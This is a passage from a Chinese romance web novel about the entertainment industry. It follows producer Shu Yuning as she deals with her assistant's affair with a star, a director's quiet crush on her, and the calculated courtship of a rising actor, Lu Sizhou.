“老大，外面都收拾好了，我先回去了。”
“你过来。”
确定了周围没人，舒誉宁在小林手里塞了几个红包。
“老大，这……开业红包你已经给过我了。”
小林说什么也不肯收。
“我知道！”舒誉宁也是一副硬要他收下的样子。“拿着，你跟了我这么久，什么苦都吃过了。我没什么好补偿你，这点小心意，你一定要收下。”
“老大，我……”
小林攥着红包，眼泪不受控地往下掉。
“男儿有泪不轻弹，你别给我整这出！”
舒誉宁扯了几张纸巾，给小林擦眼泪。
“老大，我，我……”
小林似乎想说什么，可是哭急了，什么话也说不出来。实在哭得止不住了，他把红包塞回舒誉宁的手里，逃跑
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似得离开了办公室。
舒誉宁追也追不上，看着手里的红包，迟迟反应不过来。
“这小子，什么时候变这么脆弱了？”
接下来的工作，一切回到了正轨。
《浪潮》杀青后，千杉接了部贺岁档的喜剧电影，正在剧组里紧锣密鼓地拍摄。
傅明宇在筹备剧本，欠大鹅影业的，是时候还上了。
阿May的杂志社出了副刊，前三期的封面和专题报道，由越天珑全包。
舒誉宁总觉得自己漏了什么……
哦，是小林！
这小子，原本每天都要给自己发几条消息，跟上班打卡似的。就算没什么事，他也发几个表情包过来，以示问候。
舒誉宁打开自己和小林的聊天界面，上一次聊天还是在半个月前，他们去海岛度假那阵儿。
傅明宇把新写的剧本大纲发了过来，询问她的想法。
舒誉宁完全没心思看，问傅明宇：“你有没有觉得小林怪怪的？”
“哪里怪？”
傅明宇和小林见面的次数不多，特别是他被派去做越天珑的执行经纪后，见面机会更少了。
“说不上来。反正他很奇怪，他连微信都不给我发了。”
合着他们天天发微信啊……
傅明宇收起自己幼稚的醋意，还是理性地给出自己的想法：“莫非是家里的事？”
“不会。”
小林的妈妈手术很成功，上个月都出院了，舒誉宁还特意去他们家里看过她。至于他妹妹，成绩也一直很稳定，考个一本，问题不大。
“那事业上更没什么问题了。说不定是感情。”
傅明宇随口一句话，点醒了舒誉宁。
说不定还真是感情！
上次开业发布会后，小林泪崩的画面，还在她脑海里挥之不去。
现在想来，这不正是失恋才会有的情绪吗？
也怪自己，忘了在这方面多多关心他。
以前小林都没心思想这方面事。每天两眼一睁，就是妈妈的医药费、妹妹的学费。现在这些都不用担心了，也是时候谈恋爱了。
可是恋爱哪是想谈就谈的？
经过一通分析，舒誉宁猜测，小林估计被自己的初恋伤到了。
但是，这件事该怎么跟小林说，才能不在他的伤口上撒盐。
在舒誉宁纠结之际，消失了半个月的小林，主动发来了消息。
【老大，有空吗？我在楼下的咖啡馆等你。】
【好，马上来。】
不知道是不是舒誉宁心理作用，她觉得小林看上去有些憔悴。
还没等她开口问，小林交给她一个硬盘。
“老大，天珑姐这两年的通告和信息，我全部整理好了。来应聘你助理的那些新人的简历，我也都筛过了。我觉得那个叫琪琪的不错，可以给她一个机会。”
“你干嘛？”
舒誉宁心里警铃大作，小林莫不是……
果然，她最怕的事发生了。
小林给她一份离职申请，希望她签字。
“你搞什么？”
“这一个月，我会把手头上的工作都交接好。老大，谢谢你这几年的照顾。”
前几天还说着“一声老大，终身老大”的小林，竟然毫无预兆地要离开她了。
舒誉宁拿起离职申请，撕个粉碎：“做梦。”
16. 第 16 章
预料到她会拒绝，小林也不恼。他拿出一个鼓鼓囊囊的文件夹。里面装了近百份离职申请。
人在极度无奈的情况下，唯有苦笑。
要不怎么说小林了解她呢？知道她会把离职申请撕了，索性给她准备了这么多，让她失去撕碎的耐心。
“臭小子，你到底再给我闹什么？”
“老大，我没闹。我考虑过了，而且有几个猎头在挖我，他们给出的条件也很好。”
“少来这套！”舒誉宁没忍住，吼了出来。
她不是黄世仁，不会压榨手下的人。如果今天小林有了更好的去处，她绝对不拦着。但是直觉告诉她，小林在搪塞她。
“小林，我们这么多年的交情，还换不来你的一句实话吗？”
这句话触动了小林，他的眼眶又红了。
他哽咽着说：“老大，我对不起你。”
“对不起我……”舒誉宁反复咀嚼着这句信息量爆炸的话。
她相信小林，绝对不可能背叛自己。
那何来对不起？
猛地，她又想起傅明宇那句无心提醒。让她不得不往，感情这方面想。
谈个恋爱而已，远远扯不到“对不起她”这一步。那莫非，跟他谈的人有关？
完了。
舒誉宁好像猜到了。
她咬牙切齿地说出了自己心里最不想确认，但又是最可能的名字：“你别告诉我，和越天珑有关。”
小林，沉默了。
“你！”
舒誉宁一下跳起来，指着他鼻子。伸出的那只手，在起伏的情绪下，不断颤动。
“老大，都是我的错，你别气坏自己。”
“你可真是好样的！”
压低声线的舒誉宁，看上去更生气了。小林想让她冷静冷静，但又想到这件事都是自己的锅，又不敢开口，怕更加激怒她。
“你，这几天给我回家休息。我来处理这件事，没解决之前，别想着跑路，把烂摊子甩给我。”
听上去舒誉宁要去找越天珑的麻烦，小林哪儿舍得。冒着让舒誉宁更加生气的风险，让她先不要去找越天珑。
“少在那儿玩牛郎织女那一套。这件事我来处理，你别管。”
彼时的越天珑刚刚结束拍摄，她一出摄影棚，便看到在休息室等她多时的舒誉宁。
“你怎么来了？小林呢？”
越天珑的语气听上去很平淡，她应该还不知道小林要离职的事情。
“他有些别的事要处理，所以我来接你。”
正在卸妆的越天珑，通过镜子，意味深长地看了她一眼，但什么也没说，只是轻轻地“哦”了一声。
送她到家后，越天珑让舒誉宁进来坐会儿。
很难得，这一次在她家没有喝酒，而是喝茶。
“替小林兴师问罪来了？”
现在周围没人，家里的环境足够私密，越天珑也不再和舒誉宁打哑谜，索性开门见山。
“他说他要辞职。”
“你批了吗？”
“还没有，但应该快了。”
“然后呢？”
“然后我会介绍他到别的公司，跳个槽，升个职，涨点薪水。”
这是舒誉宁想过最好的方法。
“好啊，你敢让他跳槽，我就敢在行业里封杀他。除非他不在娱乐圈里混了。”
舒誉宁相信，越天珑这不是在开玩笑，她是真的会这么做。
可是她看得出来，越天珑并不是真的对小林有什么感情，那为什么要把他强留在自己身边？
舒誉宁纠结了很久，才把她一直想问不敢问的问题，问了出来：“你们，进展到哪一步了？”
“睡了。”
舒誉宁觉得自己要崩溃了。
听上去，他们不是进展到了这一步，而是直接跳到了这一步。
“你干嘛这个表情啊？”越天珑不在乎地翻翻白眼。她那副满不在乎的样子，倒显得舒誉宁少见多怪了。
“饮食男女，你情我愿，圈子里这种事情很稀奇吗？”
是不稀奇，但是舒誉宁没想到，自己也会碰上这种事。如果她狠一点，直接把小林调走或者辞退，这件事也就是这么算了。可问题是，现在小林动了真心，越天珑虽然对他没感情，但并不想放他走。
真是剪不断，理更乱。
“兔子还不吃窝边草呢！”
“饿了就吃，管他哪边的草呢！”
越天珑这就话糙了点，但理儿，好像没错。
事情还要回到在海岛，办海滩宴会那天。
那天越天珑开心，喝得多了些，人都昏昏沉沉的。小林送她回了房间。可能是酒精作祟，越天珑拉着他不让他走。于是乎，一切，水到渠成。
“我想着，自己空窗期也挺久了，他也不介意，有的吃就吃两口呗。谁知道他是个雏儿啊？”
这句话，渣得可以。渣就算了，还渣得明明白白。凭良心说，舒誉宁对这种越天珑玩世不恭的生活态度，竟有了几分欣赏。
“可他现在想要离职，我一想到他为情所困的样子，就难受。如果他把这种情绪带到工作中，后果不堪设想。”
“那是他自己要处理的问题。舒誉宁，你是老板，不是老妈子。出了点事情，就要逃避，以后一个两个都这样，你怎么开公司？”
这话，舒誉宁是认同的。
小林一向是个有交代的人。遇到了这种事，他也会提前把手头的工作整理好，选定人选，做好随时交接的准备。只是面对越天珑，他才会很混乱。
感情这种事，总会让人失去理性。
“你给他点时间，他会想明白的。工作方面，我对他很满意，我老团队里的人对他评价也很高。如果他是真心实意想要离职，我会放他走。但你觉得，他现在是真心想走吗？”
这还用问吗？他现在不是想离职，只是在逃避。
“你说的我都明白。我只是担心，以后你们……对吧？”
这种事情，有一就有二。于公，舒誉宁不希望自己的艺人和员工什么过界的行为。于私，小林只怕会越陷越深。
“我说了，这是他自愿的。你信不信？就算他离职跑得远远的，我一个电话，他照样乖乖送上门！”
她信！
“好啦，你该回去了。与其在这儿做老妈子，不如想想，万一哪天这事儿被狗仔抓到把柄，怎么公关掉？”
“我还能让狗仔抓住这种把柄？”这可太小瞧她舒誉宁了！“当我这几年白混的？”
“那就好，不送你了。”
舒誉宁回到公司，看到傅明宇坐在办公室等她。
“大纲我还没来得及看。明天我看完跟你说？”
“不是剧本的事。我……”傅明宇支支吾吾的，生怕哪句话
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说错了，刺激到舒誉宁。
“就是吧……小林和越天珑的事我知道了，怕你太生气，过来看看你。”
“你怎么知道的？”这不是生气，这是惊吓！
她现在24小时掌握着娱乐圈动态，能保证这件事，绝没有外泄出去。那傅明宇怎么知道的？难道是小林说的？可他会顾及越天珑的声誉，肯定守口如瓶。
“别猜了，是越天珑说的。”
也是。这个祖宗说话做事不讲章法，比如现在，舒誉宁就想不通她为什么要告诉傅明宇。
“她怕你生气，让我安慰安慰你。”
越天珑根本不是这么说的。
她说的是：【傅导，我和小林都睡过了，你怎么还没个动静啊？】
傅明宇第一次觉得自己不懂中文：【怎么回事？】
【就男女那些事儿呗。你要是还不知道怎么追她，也可以直接跳到最后一步。】
傅明宇是万万不会这么做的。他很难想象，一对男女，会在没有感情的铺垫下，怎么能到最后一步！
他只知道，舒誉宁一定气坏了。
“也没什么好安慰的。”舒誉宁拿过晾得刚刚好的罗汉果茶，一饮而尽。“事情都发生了，我生气也没什么用。”
舒誉宁的语气里透着疲惫，以及崩溃之后才有的“看开了”的特有情绪。
“你是觉得，经纪人和艺人，不能……有工作以外的关系？”这个问题是傅明宇自己的私心。说起来，还要感谢越天珑，让他终于有机会问这个问题。
“每个行业都有不成文的规定。不过这种事，在圈子里也很常见。”
经纪人和艺人的关系太过特殊，一年到头，他们之间相处的时间，远超和家人朋友的。
很多经纪人也不仅仅只对接艺人工作上的事情，私生活也需要处理。
一来二去，产生感情的也不少见。
舒誉宁入行以后，收到的很多请柬，就是同行和艺人给的。
“如果越天珑和小林真有感情，我难道还能棒打鸳鸯？问题是落花有意流水无情。你是没看见小林期期艾艾的那个样子，真亏得他姓林，好一个弱柳扶风。”
“不过成年人嘛，始终知道自己在做什么的。那你呢？没想过在圈子里找一个？”
傅明宇生怕舒誉宁听出别的意思，只能委婉，再委婉。
只是舒誉宁毫不在意，她对自己有信心。
“我可是带男团出身的，跟他们相处这么多年，不也没什么吗？”
舒誉宁上一段恋爱已经过去很久了。自从当了经纪人，哪有时间谈恋爱。圈子里倒有不少男艺人看中她的资源和能力，想着以身相许，舒誉宁可看不上这种，全部拉黑。特别是她现在开了公司，每天故意在她面前开屏的孔雀就有一大堆。
傅明宇听得心里怪不是滋味的，酸溜溜的刺儿她：“怎么，一个都入不了你的眼？”
“倒也不是。”
舒誉宁大方承认了。还是有几个能入得了她的眼的。
八块腹肌的小鲜肉哎，她又不是圣人，怎么可能一点心思都没有。只是那些人目的性太强了，舒誉宁不想给自己惹麻烦罢了。
听到舒誉宁这么说，都想放弃的傅明宇竟想死灰复燃。
既然那些孔雀都自不量力凑上来了，他为什么不行？他又没有那些孔雀这么复杂的目的，不就是八块腹肌吗？他练！
17. 第 17 章
剧本的大纲，舒誉宁看完了。
这次是个悬疑故事，亮点在于傅明宇设置的双线叙事。
两条线的时间相隔20年。20年前，用女主的视角讲述了她受到伤害,如何与命运进行抗争的故事。而男主是一个20年后，郁郁不得志的私家侦探，他通过调查这起尘封了20年之久的悬案，从而终于了解了这个特殊职业的使命。
男女主角之间并没有对手戏，但是他们这场跨越时空的对话，让他们与彼此引发了共鸣。故事的内核延续了傅明宇一贯，以小人物视角叙事的风格。整体没有什么问题，只是细节还需要沟通一下。
只是这个时候，本该在工作室努力搬砖的他，不知道跑哪儿去了。
舒誉宁原本想过会儿再来找他，正准备离开时，他桌面上几张花花绿绿的广告纸吸引了她的目光。
这些广告纸清一色都是健身房广告。
【健身不练腿，迟早要后悔！】
【完美教练，完美设施，完美课程，给你的她塑造一个完美的你！】
【xxx健身房五周年庆！买1送10，名额有限，先到先得！】
这人什么时候对健身有兴趣了？也没听他提过。
舒誉宁打开导航搜了一下，选中了离这最近的一家健身房。
果然，傅明宇在那儿。
傅明宇一看到舒誉宁，吓得手里的哑铃都掉了。
“你你你，你怎么知道我在这里？”
他本想着等他的八块腹肌练出来，再去舒誉宁面前晃悠几圈，可是舒誉宁竟然直接找上门来了。
“猜的，感觉你不会去远的地方。你赶紧洗个澡，换好衣服，我在工作室等你。”
舒誉宁对他健身的成果似乎并不感兴趣。傅明宇看着镜子里，已经颇具雏形的肌肉线条，只觉得十分受伤。
看来，还得继续练。
工作室里，舒誉宁随手翻着剧本，问了一句：“怎么忽然想去健身了？”
总不见得说，为了你吧？
“总是久坐，想运动运动。”
“嗯，是好事。”
看来她这是随便问问。
还是说工作吧，至少这是他们之间最大的共同语言。
“你找我，什么事儿啊？”
“这次大鹅影业会塞一个男主角进来，你知道吧？”
“我有心理准备。只要女主是千杉，其他的我都无所谓。”
这次的女主角，是傅明宇为千杉量身打造的。他和千杉的第一次合作非常圆满，也让他人到了千杉身上坚韧不拔的特性。这次的女主，外表柔弱，像朵小白花。骨子里有着敢和命运叫板的热血。
这个角色，如果不是千杉出演，傅明宇情愿不拍了。
至于男主，傅明宇特意塑造得普通了些，换而言之，谁演都行。
“你看看这个男主的资料。”
傅明宇翻开第一页，就是男主的两寸证件照。
“看起来挺正派。”
不同于当下小鲜肉清一色的巴掌小脸，这次的男主长得就是古早言情小说里“剑眉星目”“刀削似的面容”。
这还仅仅是张证件照。
“你看他的履历，更正派。”
傅明宇一目十行地往下看，嘴里下意识地念了出来：“路思舟，戏剧学院本科生，毕业后参演话剧《赵氏孤儿》、《白鹿原》……话剧演员？”
“不止，你再往下看。”
再往下看就是他参演的一些电视剧。虽然都是一些配角，但这些都是当年横扫三大电视剧奖项的正剧。
可以说，这次的电影是他的大荧幕处女作，也是他第一次担当男主角。
履历十分漂亮，看上去，这样的人进组是如虎添翼。
等傅明宇翻完了路思舟的履历表，舒誉宁问他：“看出什么问题没有？”
“有一点。”傅明宇现在也懂了很多娱乐圈的弯弯绕绕。明面上看上去越是完美的人，往往越有问题。
“说说看。”
“先在话剧舞台上演一些经典话剧，刷经验。再在正剧里刷脸，攒观众缘。准备得差不多了，再来演电影，演男主。”
“没错。”舒誉宁也是这么想的，“他这条路走得太扎实了，怕不是背后有高人指点。”
可能是舒誉宁太敏感了，只是这样的人空降到他们剧组，让她不得不打起十二万分精神。
以当下的娱乐圈情况来说，很少有年轻演员愿意在话剧舞台上刷经验。无论是他背后的团队策划，还是他自己的主意，都说明了至少有一方，是十分沉得住气的。
而演正剧的配角，这点，可太聪明了。每年都有一批正剧，从筹备开始就是为了冲奖的。这些剧集的小配角，都是各个艺人争得头破血流的香饽饽。
巧了，路思舟都能在里面捞到一个戏份不少的配角。
演主角，定会让观众反感，但是配角既能混个脸熟，还能在正剧里的前辈演员们，刷足存在感。
等他通过傅明宇的电影彻底爆红了，日后在观众眼里，可是一个“一步一个脚印，踏踏实实从底层爬上来”的实力演员人设。
舒誉宁一般称呼这种人为：资源咖。
只是他的路线规划跟大众刻板印象里的资源咖不太一样。
大众印象里的资源咖，往往是横空出世一个演技不咋地的小演员，演一堆“仅粉丝可见”的大爆剧。这些剧往往都是在播出期间霸占热搜、严重注水的古偶剧。
这种与其说是资源咖，不如说是经纪团队捧个流水线商品出来，赚快钱的。
和路思舟一比，简直小巫见大巫。
剧本创作得很顺利，没多久，新电影便开机了。
只是千杉拍的那部贺岁档电影还没杀青，要晚一个月才进组。还好，男女主之间没什么对手戏，可以先拍路思舟的部分，并不会影响剧组的拍摄进度。
“各位老师好，我是路思舟，接下来这段时间，还请各位多多指教。”
很有礼貌，笑起来也很阳光，看上去，大家对他的第一印象都不错。
“这是我的一些小小心意，送给各位老师。”
真是个事无巨细的人，他竟然给每一位剧组的工作人员都准备了礼物。
这种事舒誉宁也见过。但路思舟准备礼物，明显提前做过功课。因为他给每个人准备的都是不一样的。
“舒老师，这是给你的。听说你换刚换车，这是一些车载精油，希望你喜欢。”
“傅导，看你最近在健身，这对运动手套您拿着。”
傅明宇看着手里的运动手套，一时没反应过来，他低声问舒誉宁：“他怎么知道我在健身，还知道你换车了？”
“这就是人家的高明之处啊。对我们的动态了如指掌。”舒誉宁拿过傅明宇的运动手套，问他：“
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你知道这东西多少钱吗？”
“一副手套，能多少钱？”
舒誉宁打开购物网站，页面上醒目的“5580”，差点闪瞎傅明宇的双眼。
“这幅手套要5000多？”
傅明宇怎么看都没觉得这幅手套和某宝上30块钱一副的手套有什么差别。5000多块，买什么不好。
“送礼的精髓就是，花尽量多的钱，买性价比最小的东西。”
“不明白。”傅明宇只是心疼那些钱，虽然那些钱不是他的。
“打个比方，你是个导演，最需要的就是机子或者镜头。但这些东西上不封顶啊，他花50万买个机子，你用起来也就那样，甚至你都不会用。但是这个手套可就不一样了，你现在是不是马上就记住了，有个人送了你一副非常昂贵的运动手套？”
好像是这个道理。
傅明宇看了一圈，路思舟送给其他人的东西也都差不多，钢笔、杯子、手链，都是一些华而不实，但十分讨巧的东西。
“看来你说对了，他背后真的有高人指点。”
舒誉宁没有接话。
能被高人指点的，往往自己都有点水平。
傅明宇一投入到工作中，便会忘了时间。现在已经凌晨两点多了，还没有收工的意思。
入秋的夜晚，降温降得特别厉害，舒誉宁只穿了一件针织衫，这个时候都忍不住冷得搓手。
“早点回去吧。”看她这个样子，傅明宇只觉得心疼。
“还没有收工，我这个制片怎么能走？”
片场的工作人员还在坚持着，她更要以身作则。
“到时候给他们多发点奖金，我再请几顿宵夜。你赶紧回去吧，至少等你多穿点衣服再来加班。你这个制片如果生病了，我们还怎么拍戏啊？”
傅明宇现在都已经会拿她这一套，来对付她了。
看来是彻底出师了。
“好吧，那你把片场日志写好，明天我来接班。”
“行了，卷王，这种小事你放心吧。”
深夜，舒誉宁一个人走在无人的小路上。还真别说，这里挺吓人的。
片场为了管理，除了艺人的保姆车能开进来，其余的车辆只能停在停车场。停车场离这里还出奇地远，少说还要走个十多分钟。
不知走了多久，舒誉宁瞥到身后有车灯闪了两下，她下意识地往旁边走。
这辆车没有离开的意思，而是在她身旁停下。车窗降下，里面坐的是路思舟。
“舒老师，我捎你一段吧？”
“谢谢，不用了，我的车就停在前面。”
“你一个女生走夜路不安全，还是让我捎你一段吧。”
路思舟也没有离开的意思，舒誉宁索性上车，想看看他到底打什么算盘。
坐在路思舟的车里，舒誉宁有些尴尬，只能胡扯一些有的没的：“你收工了？”
“嗯。和傅导拍戏，感觉能学到很多东西，他的想法和审美很特别。”
“还怕他会麻烦你，他是强迫症细节控。”
“影视圈就缺这样的好导演啊！”
直到下了他的车，两个人也没聊什么实质性的东西。
舒誉宁回到自己车里，还有些发懵。
看起来，路思舟好像真的只是捎了她一段路，并没有别的目的。
是不是她把别人想得太坏了呢？
18. 第 18 章
接下来，一连几天，舒誉宁都没有和路思舟有什么交集。只是在片场碰到的时候，打个招呼，仅此而已。
入秋了，这几天昼夜温差太大，剧组里好多人都病了，包括舒誉宁。
只是她的症状不严重，灌了几包感冒冲剂进去，尽可能地让自己看上去正常。
傅明宇这个工作狂，一拍起电影来，什么也顾不上了。自然没发现她的异样。
其他人也各忙各的，也都顾不上她。
这倒是好事，不然傅明宇又要让她回去了。
一个深夜，舒誉宁显然感觉到自己有些熬不住了，给还在工作的傅明宇发了条消息，便一个人悄悄离开。
冷风一吹，舒誉宁感到更难受了，脚步也跟着变得虚浮无力。
“舒老师，上车吧。”
这次舒誉宁没再客套，直接上了路思舟的车。
刚坐下，额头上就被放了把“枪”。
哦，是额温枪。
“36.9，还好没有发烧。估计是太累了。舒老师，你先喝点姜茶，暖暖身子。”
路思舟一口一个“舒老师”，喊得她怪难受的。
“你叫我阿宁姐吧，我应该比你大几岁。”
“大三个月而已。叫你阿宁吧，叫你姐，感觉把你叫老了。”
连自己的生日都记得这么清楚……看来自己对他莫名的防备，并不是毫无道理。
“我没有恶意，你不用真么谨慎。”
舒誉宁这下清醒了不少，对他的防备，看起来有这么明显吗？
“不明显，只是感觉，一种感觉，你懂吗？”
我去，难道他会读心术？
“对对，就是你现在这个眼神！我很难形容，但我能感觉得出来。”
舒誉宁有种上了贼船的感觉。
她现在不仅是防备，而是害怕。她只是坐在路思舟面前，他就能把自己的想法完全看透。
“停车场就在前面，我下去自己走吧。”
“好。”路思舟看得出来，她想跑。既然她想走，也没必要强留。
“还好休息，下次见。”
出于身体的原因，再加上片场有个路思舟，舒誉宁打算这几天先不去片场了，干脆窝在工作室里整理最近的拍摄日志，以及整理下一阶段的拍摄计划。
“扣扣”，新来的小助理琪琪敲了敲她办公室的门。
“姐，门口有你的快递。”
“快递？我最近没买东西啊。”
打开一看，里面是暖宝宝、姜茶包、披肩毛毯等一系列御寒的东西，而且不止一套，从数量上看，给她办公室的人全准备了一份。
快递没有署名，但也不难猜是谁送的。
“琪琪，拿去分了吧。”
“谢谢姐！”
“不用谢我，是有人搞秋季大放送活动。”
路思舟这么一来，搞得舒誉宁不自在得很。
他好像，讨好错人了。
而且以他的资本，也没必要特意讨好她一个制片吧。
【快递收到了吗？】
这条微信来得真及时，舒誉宁这头刚签收，他那头就发消息来了。看来他也不打算和舒誉宁玩“猜猜我是谁”的游戏。
舒誉宁回复：【送这些干嘛？】
路思舟拍了一张片场所有人分快递的照片：【大家都有，不能厚此薄彼。】
舒誉宁看了，没再回复。
路思舟倒也识趣，舒誉宁不理他，他也不再多话。
再次回到片场，已经过去一个多礼拜了。
路思舟看到她，高调地和她打招呼：“阿宁，几天不见，身体好点了吗？”
一旁在给路思舟做妆发的化妆师，默默地推了推眼镜。这种小动作，舒誉宁不会认不出来——这是集中注意力听八卦的前兆。
只有傅明宇还会在这个时候关心她：“你生病了？”
“小感冒，已经好了。”
“那就好，我先去片场候着，一会见。”
等人都走了，傅明宇才酸溜溜地嘀咕：“他是怎么知道的？”
还好现在没人，不然被化妆师他们听到了，估计不出半个小时，整个剧组都会流传着他们三个修罗场的八卦。
“我说巧合，你信吗？”
“你说我就信。”
“那就是巧合。拍你的戏去。”
“好吧。”傅明宇都走远了，却突然折回来，很郑重地叮嘱舒誉宁，“那你还是要注意身体。如果再有不舒服，记得先跟我说。”
“记得啦，快开工吧，大家都等你呢！”
舒誉宁一开始会担心路思舟这样的资源咖，在拍摄过程中会指手画脚。比如一会儿加戏，一会儿改戏什么的
没想到他的表现十分完美。长期在话剧舞台和正剧中磨练出来的演技，演起这么一个难度不算大的废柴侦探来，如鱼得水。就连对演员诸多挑剔的傅明宇，也对他的表现无可指摘。
“咔，收工！”
“谢谢导演，导演辛苦啦。”
舒誉宁看了一下时间，比预计的还早两个小时。
他收拾好东西，走到舒誉宁身边。
“今天不用你捎我了。”舒誉宁在他开口之前，先拒绝了他。“我申请到了车辆管理证，可以停进来了。”
“那太好了。”
路思舟看上去，好像就在等她这句话。
“这几天可能需要你捎我，我的司机请假了。”
舒誉宁原本不知道怎么拒绝。好巧不巧，他被傅明宇叫了回去。
路思舟吐了吐舌头，有点无奈。碍于片场里导演最大，只能回去先应付傅明宇。
没多久，舒誉宁收到了来自路思舟的微信：【导演叫我回去补戏，下次有机会再蹭你的车吧。早点回去休息！】
舒誉宁不得不怀疑，傅明宇这是故意的。
这天，舒誉宁又收到了路思舟送的一盒护手霜，理由是：秋冬天，手容易干燥。可是同样的护手霜，他依然给剧组每个人都准备了。
舒誉宁实在看不明白，他想干嘛。
有时候，她觉得是自己想多了。而那些有意无意地讨好，却实实在在地告诉她，路思舟确实另有所图。
某天，她路过化妆室，听到几个化妆师在聊路思舟。她明知道偷听不合适，但还是停下来了脚步，在门口听她们聊天的内容。
“路思舟又请全组的人吃下午茶了，我跟组这段日子，都胖了好几斤。”
另一个化妆师拿她打趣：“这下午茶是给你吃的吗？亏你跟了这么组，怎么还是一点眼力见儿也没有？”
“怎么说？”
那个化妆师压低声音，凑到她们中间：“当然是为了阿宁姐啊。这就叫‘为了你，
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我只能对所有人好’。”
“不会吧，他们俩，居然？！”
剩下的内容，舒誉宁已经不想再听了。作为制片人，她应该冲进去，阻止她们在化妆室这种人多眼杂的地方聊八卦。并警告她们：这附近有多少代拍和狗仔你们知道吗？这种八卦流传出去，对剧组的工作进度造成的负面影响，你们负得了这个责吗？
但是她没有。作为八卦的主角，她除了装鹌鹑，不把事情越描越黑，没有其他办法。
万万没想到，第一个来找她聊这件事的，竟然是从来不听八卦的傅明宇。
“你和路思舟，到底什么关系？”
只是他的语气不像打听八卦，更像是一个查岗的怨夫。
“你怎么关心起这种事儿来了？”
舒誉宁的回答，听上去不像对他突然关心八卦这件事的惊讶，而是对查岗这件事的不耐烦。
看起来像一对提前进入相看两相厌时期的“中年怨偶”。
“大家都在传你们的八卦，不知道吗？”
“八卦而已，我会尽我所能，把影响降低。”
“怎么降低？这会影响到我的拍摄！”
“傅明宇，你是在怪我吗？”
傅明宇发誓，他一开始没这个意思，只是问着问着，就容易跑偏。
“我没有这个意思，我只是……只是……”
心里最想说的话就在嘴边，可是此时的舒誉宁，已经有发火的预兆，傅明宇只能拼命忍住，不让自己多说一句不该说的话。
“只是什么？你有没有想过，这种八卦，最吃亏的人是谁？你以为我跟路思舟传八卦，我很开心吗？你不好好拍戏，跑来质问我？你现在是大导了，所以你觉得你可以对我的工作指指点点？”
说着说着，舒誉宁又气又委屈，声音里都不由得带了点哭腔。
“阿宁，我，我不是这个意思，我……我，对不起。”
“算了。”舒誉宁吸吸鼻子，头扭到一边，不想看到傅明宇。“每次拍戏都要跟你吵架，你不嫌烦，我还嫌烦。”
“那我不烦你了，我先走了。”
傅明宇落荒而逃。
他现在心里很乱，本想剪点片子，转移一下自己的注意力，可是打开电脑都快一个小时了，什么也没动。
烦躁了许久，他打开手机，滑动着聊天列表，最后给越天珑发去了消息。
【怎么办，我和舒誉宁又吵架了。】
【展开说说？】
傅明宇发过去一篇洋洋洒洒的小作文，把事情的前因后果理了一遍。
【路思舟啊？我听说过他，当下最有潜力的青年演员，可是有主流媒体背书的！】
【你说的这些我都知道，我就是想问你，我该怎么哄她？】
越天珑无语，以前她说，帮他追舒誉宁的时候，他不乐意。现在把人惹生气了，又要来问自己怎么哄。被这么一个拧巴男喜欢上，舒誉宁也真是命苦。
【那在你看来，路思舟对她如何呢？那些八卦可信度高吗？】
【我也不知道。这个人，舒誉宁也说看不懂。】
别说舒誉宁了，越天珑这样的娱乐圈人精也看不明白路思舟的套路。但不管怎么说，路思舟有在撩舒誉宁，这件事是肯定的。
【我看你还是抓紧时间表白吧，到时候被路思舟趁虚而入，你就老实了！】
19. 第 19 章
“叩叩”，休息室的门被推开了。
来的人是舒誉宁此刻最不想见的，八卦男主角——路思舟。
他赔笑道：“我知道听人吵架不太礼貌，但是我好像听到了我的名字，所以……”
“所以你听完了全部。”
“对不起啊。我知道我现在应该和你保持距离，但我实在有些担心你。”
“进来吧，把门关上。”
等路思舟坐定，舒誉宁直接正面出击：“你到底想干嘛？你资源好，实力好，团队好，我什么都给不了你。”
“别把我想得这么小人。阿宁，八卦都传到这份儿上了，你难道真的一点想法都没有？”
“你是指哪方面的想法？对八卦，还是对传八卦的人，还是……”
舒誉宁伸出一只手，抬起自己刚刚做完焦糖色美甲的食指，在他下巴打转。
路思舟反客为主，握住她的手，佯装欣赏起她的美甲：“刚做的？有没有抹我送你的护手霜？”
眼看路思舟的鼻尖离自己的手越来越近，即将触碰到的那一刻，舒誉宁把手收了回来。
路思舟被她勾起了兴趣：“今天收工后有空吗？给我一个赔罪的机会。”
“好啊。”
路思舟选的地方非常私密，是一家一天只招待一组客人的omakase。整家餐厅只有他们两个人。他日语说得很好，和主厨侃侃而谈。
叽里呱啦听他们说了一通，舒誉宁也插不进嘴，只能在他们聊完了，才问路思舟：“你们在聊什么呢？”
“聊你啊。他问我，你是不是我女朋友。我说，不是。他说，不信。我怎么解释，他都不信。”
“他爱信不信。”
还好，主厨听不懂中文。
每上一道菜，路思舟都会负责翻译。主厨也很有趣，听路思舟说，他是关西人，不同于东京人那样社恐严肃。关西人更加风趣幽默。偶尔从他嘴里蹦出的几句不成调的中文，更让舒誉宁哈哈大笑。
不说别的，至少从用餐的氛围来看，舒誉宁吃得很开心。
吃完了饭，两个人直接从后门上了路思舟的车，全程十分隐秘，不会被任何狗仔拍到。
车子在无人路边行驶着，音响里播放着悠扬的爵士曲。
无形之中，又在两个人之间平添了几丝暧昧。
“要不，去我那儿坐坐？”
对于路思舟发出的邀约，舒誉宁不会不知道他什么意思。理智告诉她，她应该拒绝。只是路思舟太神秘，让她有一种一探究竟的冲动。远离危险，是人的本性。探索未知，也是人的本性。
人，就是怎么复杂。
对象又是路思舟，好像，也未尝不可。
路思舟看出了她的迟疑，借着帮她整理头发为由，主动凑了过来。
直到他凑近，舒誉宁才闻到了他身上的木质香水。和他本人一样，看似沉稳，实则暗地里狂野。
不得不说，这人还真是个心机boy。为了取悦自己，煞费苦心。
就在他的双唇即将触碰到自己之时，舒誉宁脑海里竟然闪过傅明宇的脸。
这让她瞬间清醒。
差点差点，差点就翻车了。
路思舟被她的反应吓了一跳，自己苦心营造的一切，全部化为泡影：“你怎么了？”
“我想问你，你图什么？”
“图你，不行吗？”
舒誉宁才不信。在路思舟身上，舒誉宁感受不到一丝情义。
“你是这么上位的么？”
“你把我当什么人了？”
这一问一答之间，也消磨了路思舟的兴致，他理了理衣领，坐回自己的位子上。
“时候不早了，送你回去。”
“嗯。”
下车时，路思舟叫住了舒誉宁：“阿宁，其实我不错的，你可以试试。”
就是不知道他让她试哪方面。
“有机会再说吧。谢谢你今天这顿饭。”
回去的路上，一直安静开车的路思舟助理，终于开口了：“路哥，你不会真的对舒制片有兴趣吧？我怎么觉得她在玩儿你？”
“你太看得起我了，她都不稀罕玩儿我。”
